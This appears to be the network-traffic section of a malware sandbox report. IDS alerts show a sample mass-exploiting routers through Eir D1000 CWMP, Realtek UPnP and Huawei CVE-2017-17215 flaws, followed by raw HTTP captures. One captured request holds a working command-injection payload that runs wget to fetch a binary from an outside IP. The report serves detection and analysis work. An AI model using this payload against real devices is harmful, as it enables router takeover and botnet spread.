Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.50.27.211

Timestamp:	04/15/24-08:53:03.073696
SID:	2025576
Source Port:	42614
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.163.49.60

Timestamp:	04/15/24-08:53:06.512017
SID:	2025576
Source Port:	44624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 101.102.220.137

Timestamp:	04/15/24-08:52:55.714739
SID:	2025132
Source Port:	54256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 148.101.85.20

Timestamp:	04/15/24-08:52:36.953699
SID:	2023548
Source Port:	42626
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 189.18.108.166

Timestamp:	04/15/24-08:53:39.549699
SID:	2023548
Source Port:	42646
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 89.147.161.158

Timestamp:	04/15/24-08:52:31.211893
SID:	2023548
Source Port:	60442
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.219.242.166

Timestamp:	04/15/24-08:52:14.145537
SID:	2023548
Source Port:	39974
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 38.6.121.41

Timestamp:	04/15/24-08:52:28.650814
SID:	2025576
Source Port:	54018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.52.55.208

Timestamp:	04/15/24-08:52:45.886376
SID:	2023548
Source Port:	48354
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 110.175.37.78

Timestamp:	04/15/24-08:52:58.100492
SID:	2023548
Source Port:	46204
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 76.174.225.138

Timestamp:	04/15/24-08:52:13.551294
SID:	2023548
Source Port:	50126
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.170.221.173

Timestamp:	04/15/24-08:53:48.831482
SID:	2023548
Source Port:	59386
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 68.104.54.228

Timestamp:	04/15/24-08:53:38.466071
SID:	2023548
Source Port:	46180
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 184.13.54.25

Timestamp:	04/15/24-08:53:00.988503
SID:	2023548
Source Port:	59242
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 94.121.73.158

Timestamp:	04/15/24-08:53:20.528525
SID:	2831300
Source Port:	56806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.84.142.208

Timestamp:	04/15/24-08:52:23.658562
SID:	2025576
Source Port:	36214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.56.179.111

Timestamp:	04/15/24-08:53:24.879500
SID:	2023548
Source Port:	34286
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.6.161.225

Timestamp:	04/15/24-08:53:42.737841
SID:	2023548
Source Port:	51814
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 154.22.205.253

Timestamp:	04/15/24-08:52:28.663908
SID:	2025576
Source Port:	32920
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 184.50.206.210

Timestamp:	04/15/24-08:53:03.199026
SID:	2025576
Source Port:	54514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.231.31.157

Timestamp:	04/15/24-08:53:46.833126
SID:	2023548
Source Port:	40320
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 152.249.184.17

Timestamp:	04/15/24-08:52:58.137411
SID:	2023548
Source Port:	33844
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 67.55.52.131

Timestamp:	04/15/24-08:52:50.961039
SID:	2023548
Source Port:	35306
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.110.101.224

Timestamp:	04/15/24-08:52:19.931492
SID:	2023548
Source Port:	34488
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 134.16.79.133

Timestamp:	04/15/24-08:52:26.550339
SID:	2023548
Source Port:	41602
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.243.46.192

Timestamp:	04/15/24-08:52:37.701100
SID:	2835222
Source Port:	40366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 212.72.14.74

Timestamp:	04/15/24-08:53:07.162838
SID:	2025576
Source Port:	58570
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.196.52.152

Timestamp:	04/15/24-08:53:51.067079
SID:	2023548
Source Port:	50180
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.113.162.21

Timestamp:	04/15/24-08:53:18.759947
SID:	2023548
Source Port:	47222
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.244.195.156

Timestamp:	04/15/24-08:53:56.963196
SID:	2023548
Source Port:	46028
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 188.128.201.14

Timestamp:	04/15/24-08:53:06.524871
SID:	2025576
Source Port:	50958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 184.176.27.110

Timestamp:	04/15/24-08:53:46.658708
SID:	2023548
Source Port:	56042
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.41.160.227

Timestamp:	04/15/24-08:53:48.997366
SID:	2023548
Source Port:	40726
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 139.196.153.70

Timestamp:	04/15/24-08:53:16.949504
SID:	2025576
Source Port:	58886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.106.237.219

Timestamp:	04/15/24-08:53:49.221674
SID:	2023548
Source Port:	47130
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 5.17.192.77

Timestamp:	04/15/24-08:53:26.996771
SID:	2025576
Source Port:	33406
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 213.188.193.170

Timestamp:	04/15/24-08:53:01.768697
SID:	2023548
Source Port:	54336
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.196.224.130

Timestamp:	04/15/24-08:53:18.233917
SID:	2023548
Source Port:	59268
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 93.81.145.250

Timestamp:	04/15/24-08:52:25.803100
SID:	2023548
Source Port:	54092
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.169.204.53

Timestamp:	04/15/24-08:52:55.911624
SID:	2023548
Source Port:	51976
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.199.235.25

Timestamp:	04/15/24-08:53:24.815291
SID:	2023548
Source Port:	39280
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 153.145.78.153

Timestamp:	04/15/24-08:53:16.613221
SID:	2025576
Source Port:	37258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.211.77.66

Timestamp:	04/15/24-08:53:31.828764
SID:	2023548
Source Port:	57190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 91.250.135.25

Timestamp:	04/15/24-08:53:54.819124
SID:	2023548
Source Port:	59134
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.85.46.227

Timestamp:	04/15/24-08:52:36.086803
SID:	2023548
Source Port:	52654
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.64.234.192

Timestamp:	04/15/24-08:52:16.222719
SID:	2023548
Source Port:	48272
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 109.2.138.213

Timestamp:	04/15/24-08:53:02.770498
SID:	2025576
Source Port:	60110
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.231.173.27

Timestamp:	04/15/24-08:52:37.852145
SID:	2023548
Source Port:	33808
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.208.224.85

Timestamp:	04/15/24-08:53:56.330279
SID:	2023548
Source Port:	52160
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 77.222.60.111

Timestamp:	04/15/24-08:53:29.908020
SID:	2025576
Source Port:	47202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.204.61.63

Timestamp:	04/15/24-08:53:41.449872
SID:	2025576
Source Port:	48940
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.229.138.80

Timestamp:	04/15/24-08:52:19.683031
SID:	2023548
Source Port:	44216
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.104.133.207

Timestamp:	04/15/24-08:52:19.730232
SID:	2023548
Source Port:	56362
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.40.105.187

Timestamp:	04/15/24-08:53:01.677956
SID:	2023548
Source Port:	57836
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.22.238.162

Timestamp:	04/15/24-08:53:41.995797
SID:	2023548
Source Port:	42442
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.210.192.44

Timestamp:	04/15/24-08:53:51.277112
SID:	2023548
Source Port:	40868
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.171.208.226

Timestamp:	04/15/24-08:53:55.306531
SID:	2023548
Source Port:	45892
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.203.35.24

Timestamp:	04/15/24-08:52:39.939683
SID:	2023548
Source Port:	53884
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 105.101.111.233

Timestamp:	04/15/24-08:53:50.306511
SID:	2023548
Source Port:	48014
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 125.139.105.162

Timestamp:	04/15/24-08:52:17.034765
SID:	2023548
Source Port:	40394
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 164.248.78.18

Timestamp:	04/15/24-08:52:14.532755
SID:	2027339
Source Port:	54212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 45.32.202.138

Timestamp:	04/15/24-08:53:02.956978
SID:	2025576
Source Port:	43410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.97.77.112

Timestamp:	04/15/24-08:53:46.575903
SID:	2023548
Source Port:	37978
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 84.75.73.72

Timestamp:	04/15/24-08:52:52.409693
SID:	2023548
Source Port:	42332
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 50.112.163.102

Timestamp:	04/15/24-08:53:22.674684
SID:	2025576
Source Port:	37010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.78.49.138

Timestamp:	04/15/24-08:52:13.021893
SID:	2023548
Source Port:	46946
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /UD/act?1 HTTP/1.1Host: 127.0.0.1:7547User-Agent: Messiah/2.0SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServersContent-Type: text/xmlContent-Length: 526<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:EnvelopeData Raw: Data Ascii:

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:52:12 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:52:12 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/htmlDate: Mon, 15 Apr 2024 06:52:15 GMTX-Frame-Options: SAMEORIGINX-XSS-Protection: 1X-Content-Type-Options: nosniffData Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 66 66 66 66 66 66 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0d 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#ffffff"><H4>404 Not Found</H4>File not found.</BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 